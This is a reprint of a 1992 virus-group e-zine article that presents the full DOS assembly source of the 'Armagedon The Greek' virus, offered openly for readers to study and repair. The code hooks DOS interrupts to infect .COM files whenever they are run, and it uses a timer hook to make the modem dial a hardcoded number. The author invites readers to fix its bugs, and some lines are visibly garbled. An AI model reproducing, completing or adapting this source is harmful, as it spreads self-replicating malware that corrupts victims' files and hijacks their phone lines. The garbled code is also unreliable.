Make your own free website on
Prev || Home
>>> Article From Evolution #1 - YAM '92
Article Title: Armagedon The Greek Virus Source
Author: Napoleon
;                          Armagedon The Greek
;                      Brought To You By Napoleon
;              (c) 1992 YAM - Youngsters Against McAfee.
;   Well, Before you is the source code to Armagedon The Greek, quite a
;  nice and intelligent virus with all that phone mumbo jumbo, but anyhow,
;  since I'm lazy, and we had to release Evolution fast, I didn't get a
;  chance to fix it up, so take a look around for errors (I'm sure there
;  are a few, every virus has one or two or more <GRIN>.
;  Ps. Take a look at Patricia Hoffman's Virus Summery on what this
;      puppy does.
;                                               Napoleon [YAM]
dta        equ     offset last_byte+10
virlen     equ     (offset last_byte - offset start)
strlen     equ     (offset endstr - offset startstr)
code       segment
           assume  cs:code,ds:code
           org     100h
start:     jmp main
newint21   proc far                      ; SETS THE 'INT 21h' VIRUSED
           pushf                         ; Save flags for compare
           cmp     ah,0e0h               ; Is it exist-test?
           jnz     notest1               ; if not go on
           mov     ax,0dadah             ; else return signature,
           popf                          ; restore flag and
           iret                          ; return to program
notest1:   cmp     ah,0e1h
           jnz     notest2
           mov     ax,cs
notest2:   cmp     ax,4b00h              ; is 'EXEC' command?
           jz      infector              ; if yes go to 'infection'
do_oldint: popf                          ; restore flags
           jmp     dword ptr cs:oldint21a; jump to normal INT 21h
newint21   endp
oldint21a  dw      ?                     ; old INT 21h vector (low)
oldint21b  dw      ?                     ; old INT 21h vector (high)
oldint8a   dw      ?                     ; old INT 8 vector (low)
oldint8b   dw      ?                     ; old INT 8 vector (high)
status     db      0                     ; flag for time (call in progress)
ticks      db      0                     ; 18.2 tick counter
cur_h      db      0                     ; Current time (HOURS)
cur_m      db      0                     ; Current time (MINUTES)
cur_s      db      0                     ; Current time (SECONDS)
count      dw      0                     ; dial counter (30 sec, 540 ticks)
garbidge   db      0
stringpos  db      0
call_made  db      0
init_done  db      0
comext     db      'COM'                 ; Valid inf. extension
handle     dw      ?                     ; inf. handle number
filesize   dw      20
prseg      dw      ?
seg_buffer dw      ?
ss_reg     dw      ?
sp_reg     dw      ?
fileds     dw      ?
filedx     dw      ?
attr       dw      ?
filedate   dw      ?
filetime   dw      ?
infector   proc near                     ; PROGRAM INFECTOR
           assume  cs:code               ;
           push    ds                    ; save registers to
           push    bx                    ; insure normal operation
           push    si                    ; by the INT 21h (ah=4b00h
           push    cx                    ;
           push    ax                    ;
           push    dx                    ;
           push    bp                    ;
           push    es                    ;
           push    di                    ;
           cld                           ; Reset direction to increament
           push    dx                    ; Store the address of the
           push    ds                    ; filespec (DS:DX)
           xor     cx,cx                 ; reset counter
           mov     s                     ; set ptr to filespec
nxtchr:    mov     al,ds:[si]            ; take a char
           cmp     al,0                  ; is it zero?
           jz      okay                  ; if yes goto okay
           inc     cx                    ; else increase counter
           inc     si                    ; and pointer
           jmp     nxtchr                ; take the next chr if CX>0
okay:      add     dx,cx                 ; Point to end of filespec
           sub     dx,3                  ; point to .EXT
           mov     si,offset comext      ; Check if it is a
           mov     di,dx                 ; .COM file
           cmp     byte ptr ds:[di-3],'N';
           jnz     ok_1                  ; Is it a ND. ?
           cmp     byte ptr ds:[di-2],'D'; if yes exit!
           jz      nmatch                ;
ok_1:      mov     cx,3                  ; checking counter in 3
cmp_loop:  mov     al,cs:[si]            ; take 1st ptr's chr
           cmp     al,ds:[di]            ; and compare it with filespec
           jnz     nmatch                ; If no matching, exit
           inc     si                    ; else increase 1st ptr
           inc     di                    ; and second ptr
           loop    cmp_loop              ; take next compare if CX>0
           pop     ds                    ;       restore ds and dx to point
           pop     dx                    ;
           push    dx                    ; Store pointer
           push    ds                    ;
           mov     si,dx                 ; Check if filespec
           mov     dl,0                  ; contains a drive
           cmp     byte ptr ds:[si+1],':'; letter
           jnz     nodrive               ; If no jump to nodrive spec.
           mov     dl,ds:[si]            ; else take the drive in DL
           and     dl,0fh                ; and modify for int 21h (ah=36h)
nodrive:   mov     ah,36h                ; Take free disk space of DL disk
           int     21h                   ; Do the call
           cmp     ax,0ffffh             ; Was an invalid drive specified?
           jz      nmatch                ; if yes, exit
           jmp     bypass                ; Correct jx 127 limit
nmatch:    jmp     nomatch
invd:      jmp     invdrive
closeit1:  jmp     closeit
resdta1:   jmp     resdta
bypass:    cmp     bx,3                  ; Are there at least 3 clust. free?
           jb      nmatch                ; If no, exit
           pop     ds                    ; restore pointers
           pop     dx                    ;
           push    ds                    ; and allocate memory
           push    dx                    ; for the infection
           mov     cs:fileds,ds
           mov     cs:filedx,dx
           mov     ax,4300h              ; code for Get Attr
           int     21h
           mov     cs:attr,cx
           mov     ax,4300h
           xor     cx,cx
           int     21h
           mov     bx,0ffffh
           mov     ah,48h
           int     21h
           mov     ah,48h
           int     21h
           mov     cs:seg_buffer,ax
           mov     ax,cs
           mov     ds,ax
           mov     dx,dta
           mov     ah,1ah
           int     21h
           pop     dx
           pop     ds
           mov     ax,3d02h              ; DosFn OPEN FILE (R/W)
                                         ; Clear carry flag
           int     21h                   ; Do open
           jc      closeit1              ; If Error exit
           mov     bx,ax                 ; Handle to BX
           mov     cs:handle,ax          ; save handle
           mov     cx,0ffffh             ; Bytes to read
           mov     ax,cs:seg_buffer      ;
           mov     ds,ax                 ;
           mov     dx,virlen             ; DS:DX points to buffer
           mov     ah,3fh                ; DosFn READ FROM FILE
           clc                           ; clear carry flag
           int     21h                   ; Do the call
           jc      closeit1              ; if error exit
           mov     cs:filesize,ax        ; Num of bytes actually read
           ;cmp    ax,0e000h             ; max com size to virus
           ;ja     closeit1              ; if size>max exit
           cmp     ax,virlen             ; if filesize is less than the
           jb      virit                 ; virus size then it is clean
           mov     si,virlen+1           ; Set 1st ptr to START of file
           add     si,si                 ; add 1st ptr the length of file
           sub     si,21                 ; and subtract 12 to point to sig.
           mov     cx,19                 ; set the test loop to 10 bytes
           mov     di,offset signature   ; Set 2nd ptr to constant signature
test_sig:  mov     al,ds:[si]            ; take the byte pointed to by SI
           mov     ah,cs:[di]            ; and compare it with the byte
           cmp     ah,al                 ; pointed to by DI
           jne     virit                 ; if not equal then it is clean!
           inc     si                    ; else increase 1st pointer
           inc     di                    ; increase 2nd pointer
           loop    test_sig              ; continue with next if CX>0
           jmp     closeit
virit:     mov     ax,4200h              ; Code for LSEEK (Start)
           mov     bx,cs:handle          ; Handle num in BX
           xor     cx,cx                 ; Reset CX
           mov     dx,cx                 ; and DX
           int     21h                   ; Do the call
           jc      closeit
           mov     si,offset start
           mov     cx,virlen
           xor     di,di
           mov     ax,cs:seg_buffer
           mov     ds,ax
virusin:   mov     al,cs:[si]
           mov     ds:[di],al
           inc     si
           inc     di
           loop    virusin
           mov     ax,5700h
           mov     bx,cs:handle
           int     21h
           mov     cs:filetime,cx
           mov     cs:filedate,dx
           mov     ax,cs:seg_buffer
           mov     ds,ax
           mov     si,virlen
           mov     al,ds:[si]
           add     al,11
           mov     ds:[si],al
           xor     dx,dx                 ; DX points to Buffer (file)
           mov     cx,cs:filesize        ; Size of file in CX
           add     cx,virlen             ; But added by Virlen
           mov     bx,cs:handle          ; File handle num in BX
           mov     ah,40h                ; Code for WRITE FILE
           int     21h                   ; Do the call
           mov     cx,cs:filetime
           mov     dx,cs:filedate
           mov     bx,cs:handle
           mov     ax,5701h
           int     21h
closeit:   mov     bx,cs:handle          ; Handle in BX
           mov     ah,3eh                ; Code for CLOSE FILE
           int     21h                   ; Do close it
           push    cs
           pop     ds
resdta:    mov     dx,80h                ; Reset the DTA
           mov     ah,1ah                ; in Address 80H
           int     21h                   ; Do call
           mov     ax,cs:seg_buffer
           mov     es,ax
           mov     ah,49h
           int     21h                   ; Do call
           mov     ax,cs:fileds          ;
           mov     ds,ax                 ;
           mov     dx,cs:filedx          ;
           mov     ax,4301h              ;
           mov     cx,cs:attr            ;
           int     21h                   ; Do Call
           jmp     invdrive              ; and exit
nomatch:   pop     ds
           pop     dx
           jmp     notinfect
notinfect: pop     di                    ; restore registers
           pop     es                    ; to their initial
           pop     bp                    ; values
           pop     dx                    ;
           pop     ax                    ;
           pop     cx                    ;
           pop     si                    ;
           pop     bx                    ;
           pop     ds                    ;
           jmp     do_oldint             ; return from call
infector   endp
newint8    proc    far                   ; VIRUS' TIMER ISR
           push    bp                    ;
           push    ds                    ; store all registers
           push    es                    ; and flags before
           push    ax                    ; the new timer
           push    bx                    ; operations.
           push    cx                    ; Otherwize a 'crush'
           push    dx                    ; is unavoidable
           push    si                    ;
           push    di                    ;
           pushf                         ; Simulate an INT
           call    dword ptr cs:oldint8a ; Do old timer stuff
           call    tick                  ; update virus clock routine
           push    cs
           pop     ds
           mov     ah,5                  ; Check if time
           mov     ch,cur_h              ; is now above the
           cmp     ah,ch                 ; lower limit (5 o'clock)
           ja      exitpoint             ; if not, exit
           mov     ah,6                  ; Check if time
           cmp     ah,ch                 ; is now below the higher limit
           jb      exitpoint             ; if not, exit
           mov     ah,status             ; get the virus status
           cmp     ah,1                  ; test if call in progress
           jz      in_progress           ; if yes goto countdown routine
           mov     ah,1                  ; if not, set the status to
           mov     status,ah             ; indicate 'In progress'
           jmp     exitpoint             ; and exit
in_progress:                             ; CALL IS IN PROGRESS!
           call    dial                  ; else call dial routine
           inc     count                 ; CALL_TIMER
           mov     ax,count
           cmp     ax,540                ; check for time-out
           jne     exitpoint             ; if not, exit else
           xor     ax,ax                 ; set status to indicate
           mov     status,ah             ; 'ready to call'!
           mov     count,ax              ; reset call_timer
           mov     call_made,ah
exitpoint: pop     di                    ; restore registers to
           pop     si                    ; their values and
           pop     dx                    ;
           pop     cx                    ;
           pop     bx                    ;
           pop     ax                    ;
           pop     es                    ;
           pop     ds                    ;
           pop     bp                    ;
           iret                          ; return to program
newint8    endp
tick       proc near                     ; VIRUS' CLOCK ROUTINE
           assume  cs:code,ds:code
           push    cs
           pop     ds
           xor     al,al                 ; zero register
           mov     ah,ticks              ; test if ticks have
           cmp     ah,17                 ; reached limit (17)
           jnz     incticks              ; if no, incerase ticks
           mov     ah,cur_s              ; test if seconds have
           cmp     ah,59                 ; reached limit (59)
           jnz     incsec                ; if no, increase seconds
           mov     ah,cur_m              ; test if minutes have
           cmp     ah,59                 ; reached limit (59)
           jnz     incmin                ; if no, increase minutes
           mov     ah,cur_h              ; test if hours have
           cmp     ah,23                 ; reached limit (23)
           jnz     inchour               ; if no, increase hours
           mov     cur_h,al              ; else reset hours
exitp3:    mov     cur_m,al              ; reset minutes
exitp2:    mov     cur_s,al              ; reset seconds
exitp1:    mov     ticks,al              ; reset ticks
           ret                           ; end exit
incticks:  inc     ticks                 ; increase ticks
           ret                           ; and exit
incsec:    inc     cur_s                 ; increase seconds
           jmp     exitp1                ; and exit
incmin:    inc     cur_m                 ; increase minutes
           jmp     exitp2                ; and exit
inchour:   inc     cur_h                 ; increase hours
           jmp     exitp3                ; end exit
tick       endp
string     db      '+++aTh0m0s7=35dp081,,,,141' ; phone number goes here.
dial       proc near
           assume  cs:code,ds:code
           mov     al,call_made
           cmp     al,1
           jz      exit_dial
           mov     al,init_done
           cmp     al,1
           jz      send_one
           mov     cx,3
next_init: mov     dx,cx
           xor     ah,ah
           mov     al,131
           int     14h
           loop    next_init
           mov     al,1
           mov     init_done,al
           jmp     exit_dial
send_one:  push    cs
           pop     ds
           mov     si,offset string
           mov     al,stringpos
           cmp     al,strlen
           jnz     do_send
           jmp     sendret
do_send:   xor     ah,ah
           add     si,ax
next_char: mov     al,[si]
           mov     dx,3f8h
           out     dx,al
           mov     dx,2f8h
           out     dx,al
           mov     dx,2e8h
           out     dx,al
           mov     dx,3e8h
           out     dx,al
           inc     stringpos
           jmp     exit_dial
sendret:   mov     cx,3
retloop:   mov     dx,cx
           mov     al,13
           mov     ah,1
           int     14h
           loop    retloop
reset:     mov     ax,0001h
           mov     call_made,al
           mov     stringpos,ah
           mov     init_done,ah
exit_dial: ret
dial       endp                          .
main:                                    ; VIRUS' MEMORY INSTALLER
           assume  cs:code,ds:code       ;
           mov     ah,0e0h               ; is VIRUS already
           int     21h                   ; in memory?
           cmp     ax,0dadah             ; if yes then
           jnz     cont                  ; terminate, else
           jmp     already_in            ; continue
cont:      push    cs
           pop     ds
           mov     ax,3521h              ; capture the old
           int     21h                   ; INT 21h vector and
           mov     oldint21a,bx          ; store the absolute address
           mov     oldint21b,es          ; in 'oldint21x' variables
           mov     dx,offset newint21    ; point to new INT 21h ISR
           mov     ax,2521h              ; replace it to vector
           int     21h                   ;
           mov     ax,3508h              ; capture the old
           int     21h                   ; timer vector and
           mov     oldint8a,bx           ; store the address
           mov     oldint8b,es           ; in 'oldint8x' var
           mov     dx,offset newint8     ; point to new timer ISR
           mov     ax,2508h              ; replace it to vector
           int     21h                   ;
           mov     ah,2ch                ; get the current
           int     21h                   ; time from DOS
           mov     cur_h,ch              ; and store it
           mov     cur_m,cl              ; for the
           mov     cur_s,dh              ; virus' timer
                                         ; RUN PROGRAM!
           mov     ax,cs:[2ch]
           mov     ds,ax
           xor     si,si
loop1      mov     al,ds:[si]
           cmp     al,1
           jz      exitl1
           inc     si
           jmp     loop1
exitl1:    inc     si
           inc     si
           mov     dx,si
           mov     ax,cs
           mov     es,ax                 ; SHRINK  BLOCK
           mov     bx,90
           mov     ah,4ah
           int     21h
           mov     bx,cs:[81h]
           mov     ax,cs
           mov     es,ax
           mov     cs:fcb1_seg,ax
           mov     cs:fcb2_seg,ax
           mov     cs:cdline_seg,ax
           mov     ax,4b00h
           mov     cs:ss_reg,ss
           mov     cs:sp_reg,sp
           call    dword ptr cs:oldint21a
           mov     ax,cs:ss_reg
           mov     ss,ax
           mov     ax,cs:sp_reg
           mov     sp,ax
           mov     ax,cs
           mov     ds,ax
           mov     dx,offset last_byte
           int     27h
           mov     ah,0e1h
           int     21h
           mov     si,offset pokelabl
           mov     cs:[si+3],ax
           mov     ax,offset fix_com
           mov     cs:[si+1],ax
           mov     ax,cs:filesize
           mov     bx,cs
pokelabl:  db      0eah,00h,00h,00h,00h
fix_com:   mov     cx,ax
           mov     ds,bx
           mov     si,100h
           mov     di,100h+virlen
dofix:     mov     al,ds:[di]
           mov     ds:[si],al
           inc     si
           inc     di
           loop    dofix
           mov     si,offset poklb
           mov     cs:[si+3],ds
           mov     al,ds:[100h]
           sub     al,11
           mov     ds:[100h],al
           mov     ax,ds
           mov     es,ax
           mov     ss,ax
poklb:     db      0eah,00h,01h,00h,00h
signature: db      'Armagedon the GReEK'
last_byte: db      90h+11
           mov     ah,4ch
           int     21h
code       ends
           end  start